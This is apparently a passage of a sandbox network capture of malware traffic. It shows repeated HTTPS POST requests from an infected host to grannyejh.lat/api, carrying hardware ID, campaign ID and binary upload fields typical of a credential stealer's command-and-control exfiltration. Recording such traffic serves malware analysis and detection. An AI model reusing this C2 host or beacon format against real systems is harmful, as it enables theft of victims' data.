                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1369INData Raw: 62 7a 75 45 66 4e 39 32 6b 41 35 6e 49 58 41 4c 6b 68 71 72 4f 56 7a 44 51 76 68 76 39 47 66 2f 38 4a 75 76 4b 4c 7a 6c 58 6c 67 6d 4a 36 42 56 79 6a 75 31 4e 32 6f 35 61 47 36 7a 57 36 75 35 2b 4a 73 47 46 46 76 6b 4c 75 65 68 72 2b 49 55 76 4d 78 50 4f 51 6f 58 75 48 47 57 41 37 51 57 51 78 31 30 48 35 6f 4f 74 79 46 67 35 31 72 4d 57 2f 68 66 35 2b 79 72 6d 7a 53 63 37 55 35 6c 43 77 4b 59 55 62 38 57 38 54 62 54 46 53 79 4c 69 68 62 69 49 51 6e 72 4b 39 78 2f 32 55 4b 47 33 4b 2b 6a 45 49 44 46 66 6e 67 61 63 35 68 68 2b 69 75 55 43 6c 4d 31 63 43 65 53 63 72 4d 68 57 50 4e 53 2f 48 50 51 43 2b 50 68 6c 72 34 55 76 4a 78 50 4f 51 72 2f 77 46 48 43 4b 70 69 53 54 31 56 77 4a 37 34 57 6d 69 45 4a 36 79 76 63 66 39 6c 43 68 74 79 6a 74 79 43 77 74 58 35
                                                                                                                                                                                                                                                            Data Ascii: bzuEfN92kA5nIXALkhqrOVzDQvhv9Gf/8JuvKLzlXlgmJ6BVyju1N2o5aG6zW6u5+JsGFFvkLuehr+IUvMxPOQoXuHGWA7QWQx10H5oOtyFg51rMW/hf5+yrmzSc7U5lCwKYUb8W8TbTFSyLihbiIQnrK9x/2UKG3K+jEIDFfngac5hh+iuUClM1cCeScrMhWPNS/HPQC+Phlr4UvJxPOQr/wFHCKpiST1VwJ74WmiEJ6yvcf9lChtyjtyCwtX5
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1369INData Raw: 53 7a 65 4f 36 67 69 56 77 6c 63 45 34 70 79 72 77 6c 45 31 31 4c 41 54 36 42 76 72 2f 43 33 69 79 79 41 32 55 35 67 43 6a 2b 73 54 4e 38 75 6b 43 6f 79 4f 42 55 50 4a 72 62 33 65 56 33 62 77 6f 41 37 77 46 2f 58 68 4c 75 44 47 50 6a 4a 44 31 6b 7a 4f 39 78 52 6d 78 62 77 62 68 4e 6c 61 48 4b 4b 58 36 73 39 52 64 49 76 33 45 2f 55 65 39 50 77 68 36 4d 41 67 50 46 61 54 43 49 4c 71 45 6e 2b 4d 37 67 69 52 79 46 63 41 34 6f 47 72 78 46 6b 39 33 62 35 59 74 46 44 2b 37 32 57 35 68 52 34 76 56 49 34 50 6e 71 51 68 64 4a 54 31 47 4a 6e 65 57 30 48 44 6a 61 62 4c 57 44 50 44 39 77 65 30 43 62 6e 77 4b 61 47 64 61 44 39 58 6d 67 47 4a 36 42 78 36 69 75 4d 47 6d 38 52 54 45 65 4f 4c 6f 73 52 56 4f 63 47 39 45 75 67 5a 38 50 6f 72 36 64 63 72 66 78 33 57 42 5a 61
                                                                                                                                                                                                                                                            Data Ascii: SzeO6giVwlcE4pyrwlE11LAT6Bvr/C3iyyA2U5gCj+sTN8ukCoyOBUPJrb3eV3bwoA7wF/XhLuDGPjJD1kzO9xRmxbwbhNlaHKKX6s9RdIv3E/Ue9Pwh6MAgPFaTCILqEn+M7giRyFcA4oGrxFk93b5YtFD+72W5hR4vVI4PnqQhdJT1GJneW0HDjabLWDPD9we0CbnwKaGdaD9XmgGJ6Bx6iuMGm8RTEeOLosRVOcG9EugZ8Por6dcrfx3WBZa
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1369INData Raw: 75 70 50 70 64 68 51 45 2b 2b 4c 72 66 5a 6a 4f 74 53 6a 48 2f 51 57 2b 62 64 72 6f 63 70 6f 5a 32 72 57 53 73 37 5a 58 54 65 64 70 46 58 55 2b 31 34 4e 34 6f 6d 38 32 52 41 58 78 4b 45 53 34 56 4c 66 38 44 54 6f 30 79 55 74 45 39 68 43 69 4b 5a 4c 4a 38 75 6b 43 59 57 4f 42 56 4f 2b 31 66 2b 62 43 6d 53 42 71 46 62 6a 55 4f 2b 33 66 62 4f 4c 61 43 30 54 7a 6b 4c 4a 35 51 46 6c 67 2b 63 62 6c 34 6c 6a 50 63 79 46 76 4d 6c 51 50 39 2b 4a 4a 75 38 54 39 2f 6b 69 39 39 52 6f 63 52 4f 5a 51 74 62 66 55 7a 2f 46 32 30 50 55 31 68 31 62 72 4c 75 70 78 6c 4d 7a 78 61 5a 56 32 68 76 76 39 69 6a 71 79 57 6f 2b 58 6f 59 46 7a 71 68 54 63 63 57 38 58 64 71 4f 57 52 4b 73 31 76 71 61 42 6d 47 41 34 45 69 6f 44 37 66 75 5a 66 65 46 63 47 30 64 31 68 44 4f 76 6c 4d 77
                                                                                                                                                                                                                                                            Data Ascii: upPpdhQE++LrfZjOtSjH/QW+bdrocpoZ2rWSs7ZXTedpFXU+14N4om82RAXxKES4VLf8DTo0yUtE9hCiKZLJ8ukCYWOBVO+1f+bCmSBqFbjUO+3fbOLaC0TzkLJ5QFlg+cbl4ljPcyFvMlQP9+JJu8T9/ki99RocROZQtbfUz/F20PU1h1brLupxlMzxaZV2hvv9ijqyWo+XoYFzqhTccW8XdqOWRKs1vqaBmGA4EioD7fuZfeFcG0d1hDOvlMw
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1369INData Raw: 48 4e 54 41 44 73 68 65 71 47 48 54 4b 54 37 30 71 30 55 50 33 6d 5a 62 6d 56 65 6d 51 47 78 56 58 65 74 41 77 35 6e 4b 51 62 31 4a 59 50 54 61 79 63 36 70 41 64 63 39 43 6c 43 76 77 54 37 2f 52 69 33 2f 73 4f 50 46 53 51 41 59 44 78 41 6a 57 71 35 77 61 59 77 6c 6f 56 30 72 43 2f 79 31 4d 36 31 4b 45 4a 75 6c 36 35 2b 47 57 35 2f 47 67 75 57 5a 46 4f 78 71 6f 43 5a 49 76 76 47 35 4f 4f 59 6b 32 73 6c 75 71 51 48 51 48 51 75 52 62 39 42 75 69 36 41 2b 4c 43 4c 6a 78 64 67 52 50 4f 71 46 4e 78 78 62 78 66 32 6f 35 5a 45 71 7a 57 2b 70 6f 47 59 59 44 67 53 4b 67 50 74 2b 35 6c 39 34 56 77 62 42 33 57 45 4d 36 2b 55 7a 43 4c 36 51 79 58 77 46 34 52 2f 6f 69 70 33 6c 35 7a 37 59 6b 39 39 78 33 38 2b 53 4c 66 2b 77 6b 31 51 35 73 4e 69 64 67 74 51 4a 54 6a 48
                                                                                                                                                                                                                                                            Data Ascii: HNTADsheqGHTKT70q0UP3mZbmVemQGxVXetAw5nKQb1JYPTayc6pAdc9ClCvwT7/Ri3/sOPFSQAYDxAjWq5waYwloV0rC/y1M61KEJul65+GW5/GguWZFOxqoCZIvvG5OOYk2sluqQHQHQuRb9Bui6A+LCLjxdgRPOqFNxxbxf2o5ZEqzW+poGYYDgSKgPt+5l94VwbB3WEM6+UzCL6QyXwF4R/oip3l5z7Yk99x38+SLf+wk1Q5sNidgtQJTjH


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            34192.168.2.550187172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:21 UTC271OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=IPB709O0HZ
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 12792
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:21 UTC12792OUTData Raw: 2d 2d 49 50 42 37 30 39 4f 30 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 49 50 42 37 30 39 4f 30 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 50 42 37 30 39 4f 30 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 49 50 42 37 30 39 4f 30 48 5a 0d 0a 43 6f 6e
                                                                                                                                                                                                                                                            Data Ascii: --IPB709O0HZContent-Disposition: form-data; name="hwid"9B23A9306BAD098F00D57F9DDD37BE0C--IPB709O0HZContent-Disposition: form-data; name="pid"2--IPB709O0HZContent-Disposition: form-data; name="lid"yau6Na--6989783370--IPB709O0HZCon
                                                                                                                                                                                                                                                            2024-12-19 00:11:22 UTC1120INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:21 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=76jogurfr0k8i210vud7dfv371; expires=Sun, 13 Apr 2025 17:58:00 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s0uXeeMvUFQnEmcKeRA7RDV%2Fk7Lmk7HshmVFDSXJqoP6Wf3vXD4cqKJ0RqOHBH9RhTKo0qEBFJ11tNL2LzbUD06Pg1C%2B0FoGPySdBjfj4wo%2FPE7h9kT4LJBQIbkOIEGh"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432cc1dd4741de-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1573&rtt_var=611&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13721&delivery_rate=1762220&cwnd=225&unsent_bytes=0&cid=51db1570c9338b4a&ts=946&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:22 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:11:22 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            35192.168.2.550191172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:23 UTC280OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=6KNFU7BHNGAOUGDJ31V
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 15088
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:23 UTC15088OUTData Raw: 2d 2d 36 4b 4e 46 55 37 42 48 4e 47 41 4f 55 47 44 4a 33 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 36 4b 4e 46 55 37 42 48 4e 47 41 4f 55 47 44 4a 33 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 4b 4e 46 55 37 42 48 4e 47 41 4f 55 47 44 4a 33 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39
                                                                                                                                                                                                                                                            Data Ascii: --6KNFU7BHNGAOUGDJ31VContent-Disposition: form-data; name="hwid"9B23A9306BAD098F00D57F9DDD37BE0C--6KNFU7BHNGAOUGDJ31VContent-Disposition: form-data; name="pid"2--6KNFU7BHNGAOUGDJ31VContent-Disposition: form-data; name="lid"yau6Na--69
                                                                                                                                                                                                                                                            2024-12-19 00:11:24 UTC1119INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:23 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=tkbq1lmu9ve20is7ndbatjnij4; expires=Sun, 13 Apr 2025 17:58:02 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6sBlsotl9XpTkkpXJpgj3qBDeDMRKiz49687s8wGdBSBcOkJNzdwiHXV4PLpzhJsN7ksdPCiCzafWAWIhSnFf12xqOdcM%2BHXouNy7qpzWFQlQR4qOAMVu1TGAW8Kg%2FkM"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432ccf6da6de92-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1650&rtt_var=634&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2830&recv_bytes=16026&delivery_rate=1703617&cwnd=245&unsent_bytes=0&cid=c87dd13002b8d2d7&ts=875&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:24 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:11:24 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            36192.168.2.550195172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:25 UTC269OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=EBCNX40W
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 20512
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:25 UTC15331OUTData Raw: 2d 2d 45 42 43 4e 58 34 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 45 42 43 4e 58 34 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 42 43 4e 58 34 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 45 42 43 4e 58 34 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73
                                                                                                                                                                                                                                                            Data Ascii: --EBCNX40WContent-Disposition: form-data; name="hwid"9B23A9306BAD098F00D57F9DDD37BE0C--EBCNX40WContent-Disposition: form-data; name="pid"3--EBCNX40WContent-Disposition: form-data; name="lid"yau6Na--6989783370--EBCNX40WContent-Dis
                                                                                                                                                                                                                                                            2024-12-19 00:11:25 UTC5181OUTData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d 1b 88 82
                                                                                                                                                                                                                                                            Data Ascii: un 4F([:7s~X`nO`i`
                                                                                                                                                                                                                                                            2024-12-19 00:11:26 UTC1117INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:26 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=68asf3o8qjp7t9no7633t62tlo; expires=Sun, 13 Apr 2025 17:58:05 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RKyOYRcsEGKkBerdOHlhbjk4tPlVaKdGlf1cy9o5%2BgXHJGi9v6jQVoZL17nA5CoF5DWFWQpAxVtRRxXfyIwrNq3Y9QjU0EUtmHzVbaOKMwboa7SGL0IIMnFMvYd5M1q1"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432cdccd700f95-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1692&rtt_var=646&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21461&delivery_rate=1677197&cwnd=169&unsent_bytes=0&cid=ec014c77d6085a3e&ts=993&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:26 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:11:26 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            37192.168.2.550199172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:27 UTC268OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=0BCSEA1J
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 1331
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:27 UTC1331OUTData Raw: 2d 2d 30 42 43 53 45 41 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 30 42 43 53 45 41 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 42 43 53 45 41 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 30 42 43 53 45 41 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73
                                                                                                                                                                                                                                                            Data Ascii: --0BCSEA1JContent-Disposition: form-data; name="hwid"9B23A9306BAD098F00D57F9DDD37BE0C--0BCSEA1JContent-Disposition: form-data; name="pid"1--0BCSEA1JContent-Disposition: form-data; name="lid"yau6Na--6989783370--0BCSEA1JContent-Dis
                                                                                                                                                                                                                                                            2024-12-19 00:11:28 UTC1122INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:28 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=h0d8u68a7ejcsvt5jmc9ukb5i5; expires=Sun, 13 Apr 2025 17:58:07 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7xGxa6PrNe9%2FYRmceIByKqyo2151uJKu9OSUky%2BrPpJsCaSKwpJWLiugirJxp3XrHqAb0Bwkt5ece8VVsD%2FmvoJPD8azgHh70CLbc2l%2FMR%2Ffo8o62a8bJxd5Obhp1Ejj"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432ceb3fdf0cb8-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1670&rtt_var=670&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2235&delivery_rate=1748502&cwnd=179&unsent_bytes=0&cid=8de924ee5420097a&ts=828&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:28 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:11:28 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            38192.168.2.550203172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:30 UTC272OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=PIRO7Y9F0XT
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 29540
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:30 UTC15331OUTData Raw: 2d 2d 50 49 52 4f 37 59 39 46 30 58 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 50 49 52 4f 37 59 39 46 30 58 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 49 52 4f 37 59 39 46 30 58 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 50 49 52 4f 37 59 39 46 30 58 54 0d
